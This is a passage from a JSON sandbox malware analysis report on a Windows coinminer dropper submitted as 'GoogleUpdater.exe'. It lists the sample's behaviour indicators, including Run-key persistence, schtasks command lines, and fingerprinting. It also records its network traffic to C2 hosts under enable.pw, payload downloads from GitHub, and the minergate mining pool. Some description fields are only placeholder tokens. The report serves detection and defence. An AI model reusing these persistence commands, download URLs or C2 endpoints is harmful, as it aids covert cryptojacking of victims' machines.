\"MACHINEGUID\")\n \"GoogleUpdate.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"Isass.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET DNS Query to a *.pw domain - Likely Hostile\" (SID: 2016778, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO HTTP Request to a *.pw domain\" (SID: 2016777, Rev: 11, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"\" called \"OpenSCManager\" requesting access rights \"0X0\"\n \"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$30","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"\" called \"OpenService\" to access the \"RASMAN\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"\" called \"OpenService\" to access the \"gpsvc\" service\n \"\" called \"OpenService\" to access the \"rasman\" service\n \"\" called \"OpenService\" to access the \"RASMAN\" service\n \"Isass.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"Isass.exe\" called \"OpenService\" to access the \"gpsvc\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"General","name":"Sent a control code to a service","description":"\"\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"\n \"\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\"\n \"Isass.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"\n \"Isass.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\"","origin":"API Call","relevance":10,"id":"api-75","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"GoogleUpdate.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"xmrig32.exe\" has type \"PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINHOST\"; Value: \"%APPDATA%\\e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.exe\")\n \"GoogleUpdate.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS_ANTIMALWARE_HOST_SYST\"; Value: \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\")\n \"Isass.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS_ANTIMALWARE_HOST_SYST\"; Value: \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"11.0.2.53\"\n \"94.130.64.225\"\n Heuristic match: \"[2017-10-30 17:11:56] use pool xmr.pool.minergate.com:45560 94.130.64.225\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"xmrig32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$31","origin":"Registry Access","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$32","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"GoogleUpdate.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"Isass.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"GoogleUpdate.exe\" claimed CRC 1464349 while the actual is CRC 987005\n \"xmrig32.exe\" claimed CRC 3838241 while the actual is CRC 1464349","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.exe.bin\" has an entrypoint in section \"uwgfmbei\"\n \"GoogleUpdate.exe\" has an entrypoint in section \"pgdehlus\"\n \"xmrig32.exe\" has an entrypoint in section \"vasugyfq\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$33","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"Isass.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Terminates other processes using taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /im GoogleUpdate.exe /f\" (UID: 00016095-00001928)","origin":"Monitored Target","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"$34","origin":"Registry Access","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"34/68 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"34/68 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"8/65 Antivirus vendors marked dropped file \"GoogleUpdate.exe\" as malicious (classified as \"Unsafe.AI_Score_89%\" with 12% detection rate)\n 27/68 Antivirus vendors marked dropped file \"xmrig32.exe\" as malicious (classified as \"Trojan.Generic\" with 39% detection rate)\n 4/60 Antivirus vendors marked dropped file \"WindowHelperStorageHostSystemThread.ps1\" as malicious (classified as \"Trojan.Generic\" with 6% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$35","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Installation/Persistance","name":"Found indicators of dropper code in the commandline","description":"Found \"... = WScript.CreateObject(\"WScript. ...\" on invoke of cmd.exe (UID: 00015958-00004020), Found \"... = WScript.CreateObject(\"WScript. ...\" on invoke of cmd.exe (UID: 00018514-00001588)","origin":"Monitored Target","relevance":5,"id":"target-32","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Installation/Persistance","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 71A50000","origin":"Loaded Module","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Installation/Persistance","name":"Scans for the windows taskbar (often used for explorer injection)","description":"\"Isass.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","relevance":5,"id":"api-17","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Installation/Persistance","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 30 /TN \"Windows_Antimalware_Host\" /TR \"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\" /F\" (UID: 00015932-00004032)\n Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 5 /TN \"Windows_Antimalware_Host_Systm\" /TR \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" /F\" (UID: 00015945-00003940)\n Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 30 /TN \"Windows_Antimalware_Host\" /TR \"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\" /F\" (UID: 00018475-00000804)\n Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 5 /TN \"Windows_Antimalware_Host_Systm\" /TR \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" /F\" (UID: 00018485-00003752)","origin":"Monitored Target","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$36","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\n Mozilla/5.0 (Windows NT 6.1) Rarog/5.0","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$37","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$38","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 136.243.94.27 on port 45560\n TCP traffic to 94.130.64.225 on port 45560","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Invoked command prompt with suspicious keywords","description":"$39","origin":"Monitored Target","relevance":8,"id":"target-37","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$3a","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the system/video BIOS version"},{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 5 domains and 5 hosts"}],"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}]},"activity":{"stats":{"process_count":23,"spawned_processes_count":23,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":147,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":131,"files_deleted_count":0,"registry_keys_created_count":71,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":75,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":8,"dns_resolutions_count":5,"contacted_urls_count":18,"http_requests_count":18},"behavior_tags":["coinminer","miner","msil"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59f6f0f97ca3e143677c8f27","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["DEU","FRA","USA"],"submit_name":"GoogleUpdater.exe","analysis_start_time":"2017-10-30T10:26:41+00:00","indicators_count":{"informative":20,"suspicious":31,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.202.233.200","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"192.30.253.113","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"192.30.253.113","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"151.101.0.133","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"192.30.253.112","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"192.30.253.112","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"136.243.94.27","port":45560,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"address":"94.130.64.225","port":45560,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"dns_resolutions":[{"domain":"api.enable.pw","address":"149.202.233.200","country":"France","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"domain":"raw.githubusercontent.com","address":"151.101.120.133","country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1411.AWSDNS-48.ORG","registrar_creation_date":"2014-02-06T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"domain":"xmr.pool.minergate.com","address":"136.243.102.157","country":"Germany","registrar_name":"GODADDY.COM, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"NS-1476.AWSDNS-56.ORG","registrar_creation_date":"2014-03-04T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"domain":"github.com","address":"192.30.253.112","country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1283.AWSDNS-32.ORG","registrar_creation_date":"2007-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"domain":"sorry.enable.pw","address":"149.202.233.200","country":"France","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"http_requests":[{"host":"sorry.enable.pw","host_ip":"149.202.233.200:80","url":"/cmd.php?hwid=24C2B6A0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cmd.php?hwid=24C2B6A0 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\nHost: sorry.enable.pw\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"github.com","host_ip":"192.30.253.113:80","url":"/vaio666999/2/raw/master/GoogleUpdate.exe","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /vaio666999/2/raw/master/GoogleUpdate.exe HTTP/1.1\nHost: github.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"sorry.enable.pw","host_ip":"149.202.233.200:80","url":"/cmd.php?hwid=24C2B6A0&completed=45","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cmd.php?hwid=24C2B6A0&completed=45 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\nHost: sorry.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"sorry.enable.pw","host_ip":"149.202.233.200:80","url":"/cmd.php?timeout=1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cmd.php?timeout=1 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\nHost: sorry.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/checkConnection","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/checkConnection HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 0\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/installSuccess","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/installSuccess HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 205\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/error","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/error HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 9\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/check","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/check HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/threads","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/threads HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 0\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/get","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/get HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"github.com","host_ip":"192.30.253.112:80","url":"/vaio666999/2/raw/master/xmrig32.exe","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /vaio666999/2/raw/master/xmrig32.exe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nHost: github.com","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/modules","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/modules HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 0\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/info","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/info HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/config","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/config HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/setOnline","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/setOnline HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 14\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/cores","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/cores HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/4.0/method/blacklist","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4.0/method/blacklist HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 0\nHost: api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"host":"api.enable.pw","host_ip":"149.202.233.200:80","url":"/2.0/method/delay","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /2.0/method/delay HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0\nContent-Length: 4\nHost: 